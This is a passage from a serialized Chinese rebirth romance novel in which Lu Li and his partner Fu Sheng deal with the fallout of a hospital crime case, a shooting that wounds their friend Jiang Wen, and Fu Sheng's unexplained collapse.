林淮低着头,手指捏了一下袖口的扣子。 傅生这会正站在二楼,他垂着眸子表情冷淡,电视里正在报道卢正风自杀,从楼顶上跳下去的消息。 陆离上楼就看这个画面。 他走过去,沉着声音笃定地开口:“你早就知道害你的那个人,不是卢正风。” 傅生没有回头。 其实上一世的时候,卢正风没有被抓到,在华盛医院的事情曝光之后就失踪了。 直到一年之后,有渔民在海里发现了他的尸体,人已经被海水泡的面目全非,警方通过查DNA才确定这个人是卢正风。 没有回答,就是默认了。 陆离手捏得更紧了,他原本以为自己抓住了那个人,可不是,不是这个人。 他连害了傅生的人是谁都不知道。 傅生回过头,神情如常地开口:“这件事到此为止了陆离,现在就是最好的结果。” 陆离皱眉,声音冷沉,像是压着怒气:“凭什么就到此为止?” 他不想到此为止,他要伤害傅生的人都付出代价。 傅生看着他:“为什么非要找出上辈子的因果?” 陆离捏着手指,黝黑的眼睛看着他不说话。 傅生知道陆离在想什么,他叹了一口,沉着声音说:“陆离,你不想我受伤,我同样也不想你因为我受到任何伤害。你懂吗?” 陆离没说话,只是看着他。 傅生垂着眸子,光线晦暗,看不清他的神情。 半晌,他才开口,轻声说:“我已经承受不起,你会离开我这个选项了。” 他好不容易,穿过满是风雪的长道,在路的尽头看到了自己。 他不想那个自己不过是转瞬即逝的空中泡沫,空留他做了一场美梦。 傅生压低的声音像是一颗石子,一下一下敲在陆离的心尖上,又像是一把钝了刀子,一下一下划着他,最后软成了一团云,那团云裹住了他的心脏,湿湿软软的陷了进去。 他在里面尝出酸涩的滋味,他抱着人,深吸了一口气,半晌才哑声说:“不查了。” * 陆离在事务所忙完了学校的项目,又继续回到学校里上课。 孙文鑫好久没见过人了,放学的时候好不容易瞧到了人,一见人就开始扯着声音喊道:“陆哥,我的妈呀,你真是太牛了,你现在是咱们学校的热门人物你知不知道。” 路上的人原本都是各自走着,听到孙文鑫声音瞬间都扭过头去,目光齐刷刷地落在陆离身上。 陆离:“……” 不知道现在绝交还来不来得及。 孙文鑫却没有意识到这个问题,反而压低声音说:“陆哥,你能不能告诉我,你当时半夜独自一人去地下三层的时候在想什么?” 陆离瘫着脸看着他,心说,在想当时怎么没把你带着塞进去。 可惜这个二傻子感知力太弱。 “我后来看新闻说,卢正风跳楼自杀是因为害的人太多了,尤其是——”他压低声音说,“尤其是前几天跳楼的小姑娘。” 提起来董陶宁,陆离脚步顿了一下。 那个小姑娘看着软弱,但是能看出来一直在努力地活下去,为什么会突然自杀? 她又为什么知道地下三层,她看到了什么? “陆哥?” 孙文鑫看着他一直不说话,又喊了他一声。 陆离回过神来,收了思绪,他答应过傅生,这件事不会再管了。 一直到门口,传来了一小段喧闹的声音。 陆离抬头看过去,看见傅生穿着黑色的风衣衣冠楚楚地站在门口,在一片清澈的大学生群中,鹤立鸡群,尤为显眼。 “我先走了。”陆离没有想到傅生会来接他,他眼睛一动,迈着长腿就走了过去。 孙文鑫看着人朝着门口走去,心说我也是去门口啊,为什么就不能一起过去。 “等等我啊,陆哥,”他去追人,只是腿短,有些追不上,“我刚才的问题你一个都没有回答。” 好在,前边的人走着走着倏然停下来。 孙文鑫刚开始还以为陆离为了等他,于是笑了几声:“我就知道陆哥你不可能抛下我——” 话还没有说完,抬头看见一张黑脸。 孙文鑫被陆离的脸色吓了一跳,顺着他的目光看了过去。 校门口,一个穿着很潮的男生,当着陆离的面,正问他哥要微信。 孙文鑫认识这个男生,隔壁音乐学院,出了名的花心爱撩。 他第一个感觉就是这个男生要完,毕竟陆离可是个铁血哥控。 “抱歉,”傅生撩了一下眼皮,“微信加的人太多了,限额了。” 这其实是一个委婉的拒绝方式,可惜那个男生死皮赖脸的,又耍着花腔开口:“没有微信,给个手机号码也行。” 结果话都没有说完,他的手机就一只手抽了出去。 音乐男皱了一下眉,刚想骂骂咧咧地问:“谁他妈的拿我手机。” 结果看到陆离冷淡的一张脸。 陆离这张脸,学校里基本上全都认识。 男生脸上散着不悦,却忌惮更多一点,他说:“你拿我手机干什么?” 孙文鑫怕他陆哥跟人打起来,连忙把手机在陆离手里拿过来,塞进男生的怀里说:“你快走吧,这是陆离的——” 傅生看着陆离瘫着的脸,笑了一声,不紧不慢的把孙文鑫的话补上了:“我来接我男朋友下课。” 这话一出,刚才还吵吵闹闹的学校门口,瞬间安静一片。 孙文鑫眼睛瞪的超级圆,僵了半晌才冒出来一句:“ 我——靠?” 音乐男愣了半晌,脸上快速的闪过一丝尴尬。 周围还有女生小声地惊呼声,谈论声音进入他的耳朵里。 “他当着人家的面抢人家男朋友,还问为什么?” “这才踢到铁板了吧。” 音乐男瞬间脸上爆红,头也不回地转身就跑了。 只有当事人傅生从头到尾的从容,他看向陆离:“行了,别瘫着脸,回家了。” 陆离脸色这才好看一点,点了点头,跟在他哥的后面走了。 两个人刚走出一段距离,身后女生们发出啊啊啊啊的激动声。 孙文鑫被淹没在中间,伸手打了自己一巴掌,感觉到疼痛才彻底回过神来。 啊,原来此哥非彼哥。 他早就应该发现的。 三月份,天还冒着点寒气,傍晚的天空会把天边染成一种处于橘红和静谧的蓝交接的色调。整条街都被周围人家的饭菜的香味塞满。 陆离走在后面,看着路灯给傅生的轮廓轻描淡写的勾了一个边。 “傅生。” 他下意识喊了一声。 傅生回头,在灯光下看着他笑:“怎么了?” 陆离愣了须臾才说:“没什么。” 他只是觉得,日子太好了,有点怀疑他的真实性。 傅生笑了一声:“又犯傻了是吧?” 两人视线碰在一起,陆离唇角弯了一下。 回到家的时候,蒋文已经将做好的饭菜端出来了。 “你们回来了,快洗手吃饭了。” 桌子上饭菜热气升腾。 日子简直再好不过。 陆离垂了一下眼睛,冷气都淡了不少。 只是可惜,这般好日子总是有没有眼色的人来打扰。 林淮和周颂站在门口,看着他们说:“是不是打扰了?” 陆离脸上刚褪下去冷气又冒了上来。 打扰了。 滚。 可惜站在门口的一个是他同门师兄,两个人说话的时候,已经走到了院子里。 “既然来了,”傅生客气地说了一句,“就一起坐下来吃吧。” 但来的两个人却真不客气。 周颂做的饭菜只是勉强能入口,这种家常菜对于他们这些工作人士,简直不亚于满汉全席。 他看着桌子上的菜,很是礼貌地说:“既然盛情难却,那我就不客气了。” 林淮也在旁边坐下:“既然周律师都坐在这里了,我自己离开是不是不太好。” 两个人说完,又同时看向陆离:“不介意吧,学弟/师弟。” 陆离:“……” 幸好平时蒋文做菜的分量足,几个人吃完之后,陆离才看向周颂:“师兄是有什么事?” 他知道周颂不可能无缘无故地来找他。 “哦,”周颂这才想起来今天的正事,在公文包里掏出来一叠文档说,“导师让我给你的数据,明天带给他。” 陆离接过数据,点了一下头。 他上楼去放了一下文件,再下来时,看见林淮推了一下眼镜,眼镜后面眼睛弯着看向傅生:“傅老板,我是不是哪里得罪过你?怎么总是感觉,你好像很讨厌我的样子。” 傅生拿着茶杯的手顿了一下,“林先生想多了,只是我们好像还没有熟到这个地步。” 林淮又说:“那我为什么总觉得像是之前认识你?” 傅生看了他一眼:“这个问题,问我不合适吧。” 话里的意思很明显,你怎么觉得,关我什么事。 林淮也不恼,笑了几声:“傅老板,和你聊天真有趣。” 陆离看着这一幕,并不觉得有趣,还莫名地有些刺眼。 他坐在了傅生身边,挡住了林淮的视线说:“聊什么呢?” 傅生垂着眼眸说:“不是什么重要的事。” 林淮的眼睛在两个人身上转了几圈,眯了一下眼睛。 他早就看出两个人的关系非比寻常了。 周颂这时也刚好也拿着公文包走过来,看向林淮:“咱们走吧。” “这么晚了?”林淮看了一眼手表,“我们就不打扰了,承蒙招待,以后请你们吃饭。” 说完,他又对傅生说:“到时候记得捧场,傅老板。” 傅生没说话,因为他看着陆离脸上的冷气都要冒出来了。 送走两个人后。 陆离一言不发地上了楼,从傅生的角度可以看到他紧绷的脸颊线。 傅生手指动了一下,这才发现这个小鬼的醋劲还挺大。 卧室门刚关过去,甚至能听见蒋文上楼的声音,他就被陆离压在门框上。 傅生在陆离的眼神里稍微侧了一下,他还有心情打趣,“想干吗?” 陆离抿着唇没说话,低头又凶又狠吻在傅生的唇上,他不喜欢那些人看傅生的眼神。 更不喜欢林淮。 好半晌,两个人气息越来越重,快喘不上来气的时候,陆离才前偏开几分,然后松开人。 傅生喘了几口气,骂了句臭小子:“你是想对你哥图谋不轨还是大逆不道?” 陆离这才从被刚才情绪牵制的动作中走了出来。 傅生的领口被他撕开了一点,嘴唇上也肿了一块,陆离眼神微沉了一下,快速地低着头说:“没有。” “真没有?” 陆离脸皮薄,一问就要跑。 傅生在人要落荒而逃时候,笑着开口:“等一下。” 陆离疑惑的回头,就被傅生伸着手指在他下巴上碰了一下,然后抬头吻了上来。 这个吻比刚才安静好多,却更能让人动情,灯不知道被谁无意中关了去,黑暗中,傅生听着刚才还脸皮薄的想要逃跑的人,哑着声音说了一句:“哥,我可以帮你。” 现在还不太晚,还不到睡觉的时间,蒋文躺在床上,倏然想起来明天一个大客户的单子,傅生还没有签字。 明天签倒是也行,只是不知道客户早上几点到。 他想了想,心说要不还是今天晚上签上吧,他走过去敲了敲门:“傅生,傅生。” 可惜敲了半天,门开了,却出现一张冷脸。 蒋文说:“你哥呢?已经睡了?” 陆离应该是刚洗了手,手上还带着水滴,他声音有点低:“有事?” 蒋文听到有水流声在浴室里传出来,他啊了一声,有些结巴说:“洗洗洗——澡呢?我是不是来得不是时候?” 【作者有话说】 第0054章 第 54 章 ◎别洗了◎ 陆离看着他, 脸上有点被打扰的不爽,蒋文干笑了一声:“其实也没有多大事,明天我再来吧。” 说着, 他快速地转身回了自己的房间。 一直到门关上, 蒋文抓了一下自己的头发, 觉得自己有些莫名其妙。 这个点洗澡也正常, 陆离的衣服穿戴整齐, 但是吧,就是那个氛围—— 嗯,就是那个氛围。 蒋大嘴想了片刻,暗自决定,以后晚上绝对不去敲对方的门。 就算是再紧急的事, 也要留到明天。 傅生擦着头发出来,看着陆离坐在沙发上, 正在忙着电脑文件, 他开口问道:“刚才蒋文来了?” 他的声音比平时要低哑一些,陆离听着,手指下意识的蜷了一下。 “嗯。” 傅生说:“什么事?说了吗?” 陆离抬头:“不知道, 他说明天再说。” “嗯, ”傅生将毛巾放在一旁, 没再管蒋文的事,他开玩笑地看着陆离, “不过, 你天天住我这里,公寓那边不要了是吧?” 自从这小子从这里睡过一晚上之后, 就赖着不走了。 傅生倒是对此没有意见, 反而抱着胳膊看着沙发上的陆离。 陆离从小时候做事别扭, 做什么说什么,都要找些借口,或者干脆不说话,他很想知道这次陆离找什么借口。 傅生原本以为,陆离会说公寓离着学校远,却发现陆离垂着眸子,在电脑上敲下最后一个字,冷着嗓音说:“和房东说好了,下个月退租。” “退租?”傅生明知故问,“退了房子之后住在哪里?” 陆离抬眸看向傅生,这个人惯会打趣自己。 “住这里。” 傅生挑了一下眉:“那得交房租。” 陆离抿了一下唇:“工资全给你。” 傅生笑了一声,“行了,不逗你了,不去洗澡?热水帮你调好了。” 不提还好,一提洗澡陆离脑海里就想起来刚才的场景。 他眸光微抬,扫了一下傅生微微泛红的喉结骨,关着灯还好,只能听到声音,这会开了灯,声音就给眼前的人重叠起来了。 他脸上有些热,莫名地就想起来不知道哪个老师说的一句话。 人类沉溺于爱欲,恨不得为其死。 陆离好不容易将那股子不平静躁动压下去,他快速地移开眼睛,没敢看傅生:“我去洗澡。” 傅生看着陆离快速离开的身影,觉得脸皮太薄也不好,刚才想要帮帮这个小崽子,结果不让。 “抽空给他改改这个毛病。” …… 古董店作为典型的半年不开张,开张吃一年,平时里都很清闲。 傅生躺在院子里,蒋文在楼上扫着尘土。 蒋文干活喜欢转圈,先粗略的扫一圈,再重点打扫边边角角。 不过这新装修的屋子,本来就没有多少需要打扫的地方。 他扶着栏杆站了一会,抬头的时候,倏然看到隔壁街上来了一圈人。 原本以为只是路过,结果就发现这群人朝着他们的古董店的方向来了。 “发财了这是?”蒋文自言自语,“这么多人一起来,整个团购?话说古董也能团购吗?” 不对。 蒋文看着这些人的神色,都阴沉着脸,不像是来买东西的。 “傅生。”蒋文快速地朝着楼下喊了一声。 第一声没有回应。 蒋文看了一眼门外,那些人已经快到门口了,他快速地从楼上跑下去,跑到傅生旁边摇了他一下。 “别睡了,”蒋文说,“你最近是不是得罪什么人了?人家来砸你店来了。” 傅生其实没有睡着,闻言这才睁开眼,他神情如常,不急不缓地说:“砸吧,刚好还有些卖不出古董堆在屋子里占地方。” 蒋文:“……” 他终于知道自己为什么当不了老板了,这种心理素质,活该这黑心鬼挣钱。 但是为了自己的生命安全着想,他左右瞥了一眼,还是拿了个扫把挡在自己面前,以防城门起火,殃及他这条无辜的鱼。 刚拿好,就看到一大群人进了院子。 傅生在躺椅上起身,扫了一眼站在最前方的女人。 女人穿着一身红色呢子大衣,不是时下流行的款式。 他眼睛红肿,眼纹很深,属于长时间睡不着觉的失眠人群,神情悲伤,嘴角下抿,典型的心力交瘁表现。 “放下你手中的扫把吧,”傅生看着旁边如临大敌的蒋文,“他们是来求人办事的。” 蒋文啊了一声,还没等他反应过来,傅生已经走出去了好几步了。 “你好,找谁?”傅生很客气的看着他们问。 最前边的女人眼睛朝着院子里面看了几眼:“陆离——陆离是不是在这里住?” 傅生皱了一下眉:“你们找陆离做什么?” “我听说华盛医院的事情是他爆出来的,”女人抹了一下脸说,“我们来问他点事。” 傅生目光沉了一下,半晌开口说:“陆离只是个学生,其他事情都不知道。” “求求你了,就让我见他一面,我们就问问几件事,问完了就走,”女人看了一眼身后的人说,“我们这些人,有些是医疗事件中出了事的家属,还有的是外地丢了孩子父母,好不容易才天南地北的聚在一起,你就让我们问问。让我们死心了,就不会再惦记着这事了。” 傅生眉心颦的更深了。 他没开口,身前的女人又接着哭着开口:“我女儿三年前因为阑尾炎住进华盛医院的,本来就是一个小手术,可我再见到她的时候,就只剩下骨灰盒,医院告诉我手术途中出现了意外,人大出血死了。他们没有经过我的同意,就擅自将人火化了。我不信里面没有意外。” 傅生手指动了一下。 女人又指了指身后一个穿着破旧,胡子邋遢看上去格外老的中年男人说:“他女儿是来南宁打工的,打电话之前说是要来医院拿点药,后来就再也没有回声。” 傅生听着他们的声音,好半晌才开口说:“这件事应该找的是警察。” “我们找过警察,但是警察说证据不足,没办法受理,只是给失踪的人报了失踪。”女人嘴唇颤抖,说话几乎已经带上了颤音。 “你们走吧,”傅生却只是看了他们一眼,就转过身去,“陆离不住这,也什么都不知道。” 眼前的这些人差不多有三四十个,不知道什么将他们联系在一起的,卢正风的案子被曝光不久,受害人名单已经出来了,这些人的名字显然不在受害者名单内。 “蒋文,”傅生喊了一声,“关门,今天不做生意了。” 蒋文听着傅生的语气怔了一下,傅生虽然嘴上总是喜欢说自己不是什么好人,却又总是在背地里做一些坏人不可能做的事。 但今天这种冷硬的态度还是头一次。 他啊了一声,才哦哦应道:“哦,行。” “各位,”蒋文对着前边的人说,“真是不好意思,我们店今天要关门了。你们看看要不去别的地方找找?” 那些人刚开始不动,还是站在最前边的女人看了一眼傅生,又对着身后的人说:“咱们出去等着吧,别耽误人家。” 说完,就带着一群人退了出去。 蒋文将门上的锁拿下来,又挂上暂停营业的牌子,看了他们一眼,叹了一口气。 他懂这种久病乱投医,像是抓住一根救命稻草的感觉。 但是陆离只是一个大学生,又不是警察,找他也没有用啊。 太阳从头顶一直降到半山腰,傅生站在二楼,看着院子外坐在地上的那群人。 他们不说话也不吵闹,中午吃饭的时候也只是拿着干粮坐在地上啃,现在正是倒春寒的时节,风都带着冷意。 傅生看了半晌说:“给他们倒点热水。” 蒋文知道傅生心肠软,就是嘴硬,连忙应了声。 他给每人分了热水,回来的时候看着他们叹了一口气:“还不走,一会陆离该下课了。” 傅生垂着眼睛静静地看了一会,转身下了楼。 蒋文在身后喊:“干什么去?” 傅生没说,只是道:“晚上不回。” 蒋文看了看傅生,又看了看外面的人偶,撇嘴说:“这事闹得,叫什么事吗。” 傅生出门,那些人只是看了一眼,便继续在门口守着。 傅生没看他们,径直走过去。 到陆离学校门口的时候,他们刚好下课。 孙文鑫看了他一眼,刚想说句哥哥好,又想起来了两个人的关系,强行给憋了回去:“那个,我先走了。” 陆离点了一下头,看向傅生:“昨天不是说今天不用来吗?” “怎么,来接你你还不乐意?”傅生笑了一下。 陆离没说话,站在傅生身边,两个人向回走。 夕阳从一侧照射过来,傅生垂眸,捻了一下落在手指的光,带着几分随意地说:“晚上去公寓?” 陆离看向傅生,目光疑惑:“去公寓?为什么?” “公寓安静,无人打扰,”傅生笑了一声,意有所指,“你和我亲近的时候,想被家里的二百五打扰吗?” 傅生离得他太近了,呼吸的热气都要喷在他脸上,像是又回到了昨天晚上。 陆离面上一热,不自然地移开脸,没说话,向前走却是公寓的位置。 傅生笑了一下,再垂眸时,遮住了里面一闪而过的情绪。 公寓安静,陆离靠在电梯上,傅生站在他旁边。 电梯的数字逐渐向上。 陆离开口说:“是古董店去了什么人吗?” 傅生手指微滞,接着弯着眼睛看向陆离:“怎么这么问。” 陆离盯着他看了几秒,这一路,傅生盯着手指出神了好几次。 “因为你看起来,不高兴。” 傅生一愣,下意识地想说没有,你看错了,但是触碰到陆离的眼光时,他垂了一下眸子:“有受害者家属找你。” 陆离了然,没说话。 须臾,他看着傅生伸出手,在电梯按键上按了一层。 “回去吧。” 傅生垂着眼皮说。 陆离看着他,片刻,将傅生微凉的手指抓在手里。 “嗯。” 蒋文原本站在二楼,离着好远就看到了傅生和陆离向这边走。 他嘀咕了一句不是说不回来了吗,就快速地下了楼,打开门时候,看见门口的那群人齐刷刷地站起来,紧绷着下颌线,目光落在陆离身上。 “你们找我?”陆离看着人说。 女人点了点头,手指紧张的抓着自己的袖口,她在外面占站了一天,声音有些哑:“你能不能帮帮我们。” 之前他们还对医院的说法半信半疑,出了董陶宁的事之后。 一定还有别的,只是警方没有查出来。 傅生一直靠在旁边的桂花树上,看着自己的指尖,陆离目光从他身上移开,又看向受害者家属:“怎么帮?” 女人愣了一下,他们来找陆离只是抱着最后的希望,他们希望可以在陆离身上得到有用的线索。 “地下三层——” 陆离说:“地下三层媒体已经曝光了,里面的东西全在那里摆着,受害者的DNA是在上面检测到的。” 所以不可能有什么遗漏的受害人。 女人眼睛里的希望倏然就暗了下去。 陆离抿了一下唇,看着女人的肩膀瞬间耷拉下去,像是被跑了气的气球。 他的手指紧绷又松开,原本不打算说的,但最终还是冷着嗓音道:“除非,地方不止一处,但我不知道在哪里。” 医院的护士说过,卢正风有帮助那些流浪汉的习惯,但是检测出来的名单中并没有这些人。 但他答应过傅生,不会继续查了。 女人的眼睛听到这话又亮起了微妙火光,只要有一点希望也行。 她朝着人快速地点了几下腰,重复的表达自己的感谢,“谢谢,谢谢。打扰你们一天,对不起了。” 陆离摇了摇头,表示不用谢。 又转头看向傅生:“走吧。” 傅生手指动了一下,最后弯着眼睛进了屋:“嗯。” 这件事像是一个插曲,并没有对他们造成影响。 周颂偶然去学校的时候,提了一句,最近接了很多委托,都是起诉华盛医院的。 他又想起来什么:“我听说,那些人去找过你?” “嗯,”陆离说,“去了古董店门口。” 周颂说:“怪不得呢,华盛医院出了董陶宁的事之后,许多病人提出了转院,现在又被多人起诉,看样子不太好。” 陆离没说话。 医院好不好的和他么关系。 这时导师拿着记录册走了进来,看到陆离和周颂,开口说:“你们师兄弟都在呢?” 周颂说:“老师,你这次找我来是因为?” 陆离也看向他。 导师将自己的记录册翻开几页:“学校领导刚才开会,公安的同志也来了,关于学校里上次的项目继续启动,陆离你对华盛医院的事情也接触过几次,这次还是你继续去吧。” 陆离愣了一下。 导师没听到陆离的动静,抬头看了过去:“怎么了?可是有什么困难?” “没有。”陆离说。 他只是感觉,兜兜转转,还是落在他身上了。 就像是有一双无形的手在操纵着这一切。 导师又看向周颂:“你有什么意见吗?” “你说笑了老师,学生没有意见,”周颂说,“况且,我还是很喜欢和师弟在一起合作的。” 晚上,陆离说了这件事,傅生只是垂了一下眸子:“嗯。” 他没有说话,倒是蒋文坐在一旁有些不悦地说:“你们学校这是没有其他人了?怎么每次这种事都找你。” 陆离说:“其他人不熟悉。” 蒋文啧了一声:“算了算了,反正卢正风也死了。你们这次行动应该没有危险了吧。” 陆离眸光微动:“没有。” “那还好,不过我还想知道最后一个问题,”蒋文有些严肃地说,“你们这种一个月给你多少钱?” 陆离:“……钱不多,就拿点补助。” 蒋文:“那也太抠了,比你哥还抠。” 傅生颦眉,扫了他一眼,用筷子小幅度地敲了一下桌子:“快吃。” 老板发话,蒋文不敢再说话,只是撇了撇嘴,心说我把你想说的都说了,偷着乐吧。 晚上回到房间,傅生站在窗户前,陆离从他身后走过去:“在想什么?” “没什么,”傅生抬起眸子,“就是看着今天晚上的月亮很圆。” 陆离也一同抬头,于是月亮就照到了两个他。 “是很圆。” 傅生说:“马上就十五了,你跟房东约好的那天退租?” “他明天有事,”陆离说,“等后天吧。” 第二天陆离去了事务所,看到了起诉华盛医院的委托书,其中有一半受害者是死于医疗事故,还有一半失踪人口。 “这些失踪人口,也在里面?”陆离皱着眉问。 周颂说:“是,他们这些想起诉很难,因为大部分都不是从医院失踪的,只是失踪之前提到过华盛医院的名字。” 陆离点了一下头,医院确实不会蠢到自己家门口绑人。 “那今天去哪里?” 周颂说:“去这些失踪者失踪的地方看看能不能查到监控……” 他们要做是证明这些失踪人和华盛医院有牵连。 当然如果找不到这里面牵连的话,就只能定性成失踪,也没有办法走法律途径。 陆离翻了几下这些委托,其中有些人失踪的时间在好几年前,时间太久远,很难找到踪迹,所以只能从最近的时间。 他和周颂从这些人去医院的途中查监控,跑了一整天,却只能看到这些人都不知道因为什么在中途下车,最后不知所踪。 “我记得你明天要去公寓搬东西是吧?”回去的时候,周颂看着他说,“明天上午还是下午,我可以去帮忙。” “下午。”陆离说。 他说完,倏然顿了一下。 这些受害人,为什么会在去医院的路上突然下车? 是什么会让他们非下车不可,有什么不能拒绝的理由? “你能不能帮我个忙?我就在附近。” “我们查错了方向,”陆离突然说,“我们应该先去这些人接触的人中去查。” …… 蒋文将陆离的东西从楼上搬下来,差点累死,然后就看到傅生手里就提了两个收纳盒,很轻易的就下了楼。 对比太过强烈,蒋文很是无语,翻了一个大大的白眼。 傅大老板手不提,肩不能挑,可以说是十指不沾阳春水的典范。 他看到蒋文的表情,斜睨了一眼:“你有意见?” 蒋文哪敢有意见,堆起一个假笑:“重吗?重的话我帮你拿着。” 傅生掂了掂手中的东西,觉得确实重了,于是很不要脸地把其中一个收纳盒放到了蒋文搬的行李上。 蒋文的东西本就多,现在加了一层,更是多的看不见脸。 “不是,傅生你要不要——脸。”蒋文摇摇晃晃地骂道。 傅生看他,威胁说:“工资。” 蒋文没有什么爱好,就是爱钱,又活生生地把脏话咽了下去,刚好陆离从楼下走出来,他冲着这个小的告状:“你看看你哥,你问问他是来干什么的。” 陆离问:“重吗?要不要我帮你拿着。” 蒋文刚想说重,还是你有良心,结果抬头一看,这小子是冲着他哥说的。 “……” 他造了什么孽,跟了这哥俩。 于是作牛作马的蒋大嘴在此刻多了一个心愿,希望有一天可以看到傅生这黑心鬼可以尝尝被管制的滋味。 蒋文费劲的将行李搬到了车上,抹了一把额头上的汗,冲着陆离抬了一下下巴:“楼上还有吗?” “电梯口还有几本书,”陆离说,“你们在这里等我,我去搬来。” 蒋文坐在车下,朝着人摆了个手:“去吧去吧。” 反正他是一点也不想动了。 陆离也就是几分钟,就从电梯口出来,东西确实也不多,蒋文看了一眼就随意的收了回去, 傅生此时正靠在车上,手里捏着旁边修护林的叶子。 “走吧。”蒋文起身,准备去开车。 刚迈出去一步,他却被对面不知道哪里的闪光晃了一下眼。 他颦了一下眉,顺着亮光看了过去。 二楼窗户上,一个倒影映在玻璃后面,明明看不真切,可几乎是下意识一般,他朝着陆离冲了过去。 “陆离躲开。” 几乎同时,枪声砰的一声。 傅生只感觉耳边轰鸣,眼前的景象像是成了一场慢动作电影。 陆离被蒋文推向一旁,子弹穿过了蒋文的身体,血染红了他的眼睛。 上一世的情景在此刻重叠。 同样的人,同样的血。 救护车的声音在他耳边响起,他抓着蒋文,手上全是他的血。 傅生有些听不清周围的声音。 只能看到人群混乱中,护士推着车,将周围人快速地疏散,接着抢救室地大门砰的关上去。 傅生这才一瞬间恢复听觉。 陆离眉心紧皱,看着抢救室的门,红灯在白炽灯下有点刺目。 傅生看了一会说:“我去洗一下手。” 他径直地走到洗手间,打开水龙头,冲着手上的血迹。 他洗的认真,水流从红色,逐渐变得透明色。 傅生却没有停。 水流声继续。 镜子里起了水雾,水雾后面多了一个身影,那是他自己。 镜中的自己动了动唇,压着声音说:“你重生了又怎么样,你什么都改变不了。你还没发现吗,上一世经历的事情,这辈子还在重复, 先是吴海昊,卢正风,接着是林淮,蒋文,最后是——陆离。” “这些人都会离你而去,最终只剩下你自己。” 傅生心颤了几下。 他使劲搓着自己的手,直到手背上被搓出血痕。 一直到陆离在身后拉住他,“哥?你在干什么?” 傅生却置若罔闻,只是不停地洗着手,他什么都改变不了。 他什么都做不了。 手上的血痕开始冒出血珠。 陆离皱眉,直接将他的手拽出来,禁锢在怀里:“别洗了。” 傅生这才不动了,他垂着眸子静了片刻,将额头轻轻抵在陆离的肩膀上,很轻地喊了一声:“陆离。” “嗯,我在这里。” 这是陆离第一次,这么明显地感觉到傅生的难过,那种无助的难过。 “在想什么?都可以告诉我。” 傅生额头很深的埋下去,突然生出无力感。 他改变了故事的开头,却改不了这结局。 他好像救不了自己。 【作者有话说】 命运总是喜欢重复,重建,又摧毁。 甜文(真哒) 第0055章 第 55 章 ◎明天就结束了◎ “会没事的。”陆离听着自己低着声音说了一句。 傅生点了点头, 愣了半晌,倏然起身,扶着洗手池干呕了几声。 他的脸色在医院的白炽灯下惨白得吓人。 陆离从来没有见过傅生这个样子, 可他又不知道能做什么。 “傅生?傅生。”他的手在傅生的背上拍着, 声音慌乱, “你别吓我。” 傅生只是情绪上的刺激, 什么都没有吐出来。他低着头, 抓着陆离的手,声音沙哑得不成样子:“我没事。” 沉默了许久,他起身,“走吧,去抢救室门口。” 陆离在旁边, 看着他的侧脸,良久才嗯了一声, 他没有哪一刻比现在更觉得自己无用, 心里几乎要生出几分暴戾来。 凭什么什么都要压在傅生身上。 但是他的暴戾无处发泄,只是抓着傅生冰凉没有一点温度的手指。 周颂听到这件事匆匆赶过来,在他身后的还有闻讯赶来的林淮。 “怎么样了, 怎么会出这种事?” 陆离看了一眼手术室:“还在抢救。” 周颂皱着眉, 安慰道:“你们也别太担心了。” 旁边的林淮也道:“没有消息就是好消息。” 陆离抬眸扫了他一眼, 没有说话。 抢救室的灯还亮着,中途有护士出来了一次:“谁是病人家属。在手术单上签个字。” 傅生抬眸, 声音低沉地说:“我来吧。” 护士看着他签了字, 准备进手术室的时候,林淮倏然叫住了人:“你好, 麻烦问一下, 里面的情况怎么样了?” “不太好, ”护士说,“子弹离着心脏太近了。” 傅生手指动了一下。 林淮眼镜后的眼睛垂了下去,遮住了眼睛里的情绪,“这样啊,太令人难过了。” 手术进行了快十个小时,一直到凌晨四点,蒋文才从手术室里推出来。 “怎么样了?”周颂问了一句。 医生一手摘下了口罩,“手术很成功,但是因为子弹的位置离心脏太近,病人还在昏迷,还得在icu观察几天。” 傅生从刚才起就没有说话,一直到听到这句话,紧绷肩膀才松了下去,陆离捏着他的手,看着蒋文被推进了重症监护室。 “手术成功就好,剩下的别担心了。”周颂也松了一口气,又看向傅生他们,“一整天都没有合眼了,你们两个快去休息休息。” 重症监护室里不让家属进,在门外守着也没有意义。 傅生却不走,他坐在走廊的长椅上,手抵着额头,垂着头不知道在想什么。 直到陆离感觉到不对劲,在旁边喊了一声:“傅生?” 傅生没说话也没动。 陆离试了一下他额头的温度,热的烫人,他再也顾不得别的,抱着人快速冲进了一间医生办公室。 周颂原本只是想着两个人从昨天下午就没吃饭,下楼买了点吃的,结果上楼之后发现一个还在监护室没出来,现在就又病倒了一个。 傅生脸上没有一点血色,口间挂上了氧气罩,监护的仪器在细碎的发出响声。 陆离阴沉着脸站在一旁,“为什么会不醒?” 医生也皱眉,他说:“他身上没有别的症状,检查也没有发现别的问题,就只是发热,我工作了这么多年,还是头一次遇到这种状况。” 说着,他拿着检测的单子:“我再和其他医生讨论一下。” 说着就快速地出了病房的门。 陆离垂了一下眸,看着人半晌才又坐回病床边。 他抓住了傅生的手,须臾将额头抵在傅生的手上。 周颂看着这一幕看得有些难受。 这段时间,他差不多知道他的小师弟和这位傅老板是什么关系了。 他走过去拍了拍他的肩膀,却不知道说什么。 明明昨天都好好的,只是一晚上的工夫,就变成了这样。 周颂人不傻,他们刚查了华盛医院的事,下午蒋文就替陆离受了枪,他要是还想不到其中的牵扯,那他也不用干律师了。 昨天上午陆离说他们查错了方向之后,两个人便去了失踪者工作的地方。 失踪的人大多从事体力劳动,人员的流动性很大,费了很大的劲,才找到几个失踪者的朋友。 他问这些人失踪者失踪之前都有什么异常? 但大多数人都摇了摇头。 只有一个女生回忆了一下:“她最近那段时间好像异常沉迷于心理学。” 陆离当时问:“为什么?” 很少有劳动工作者关心这种问题,他们劳累一天,回到家动都不想动,心理学对于他们来说都是太过于虚幻的东西。 女生想了想说:“我们这边举行过一次关于心理学的公益讲座,好像就是之后,她对于这个就有了极高的兴趣。” 周颂被检测仪器的滴滴的声音从回忆里拉出来。 他将买好的吃地放在旁边的桌子上,对着陆离说:“多少吃点,师弟,你不能再倒下了。” 陆离没有说话。 周颂叹了一口气,出了病房门。 下午的时候,几个医生又来了一趟,但是傅生静静地躺着,他手上挂着点滴,热已经散下去了。 只是人一直不醒,医生对于这个现象束手无策。 抽血,筛查,几乎各项检查都做了一遍。 一直到第七天,傅生依旧在床上躺着呢,像是没有任何感知。 陆离一直不眠不休的守着。 医生看着他叹了一口气说:“要是明天还不醒,就转院吧,我们能力有限,实在找不到病因。” 陆离垂首不动,只是抓着傅生的手,唯恐松开一点,眼前的人就会消失。 